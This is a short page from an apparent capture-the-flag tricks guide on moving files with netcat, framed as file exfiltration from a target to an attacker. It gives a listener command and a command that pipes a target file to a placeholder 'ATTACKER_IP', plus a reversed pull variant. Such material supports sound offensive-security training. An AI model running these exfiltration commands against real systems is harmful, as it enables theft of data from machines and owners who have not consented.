> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-4/linux/netcat/trick-0311.md).

# File Transfer Via Netcat

***

Utilize Netcat for simple file exfiltration. On the attacker machine, set up a listener to receive the file content, redirecting standard output to a local file:

```bash
nc -lvnp ATTACKER_PORT > file_on_attacker
```

On the target system, use Netcat to connect back to the attacker's listener, redirecting the content of the file to be transferred into Netcat's standard input:

```bash
nc ATTACKER_IP ATTACKER_PORT < file_on_target
```

Ensure the listener on the attacker machine is started before initiating the connection and transfer from the target. The `<` operator redirects the file's content into the `nc` command's input, which is then sent over the network; the `>` operator on the attacker side redirects the received network data into the specified file.

Alternatively, the file transfer can be initiated by setting up the listener on the sending machine. On the sending machine, start a listener and redirect the file's content into Netcat's input:

```bash
nc -l -p <port> < <file_to_send>
```

On the receiving machine, connect to the sender's listener and redirect the received data to an output file:

```bash
nc <sender_ip> <sender_port> > <output_file>
```

This method reverses the roles, with the sender acting as the server and the receiver acting as the client to pull the file.
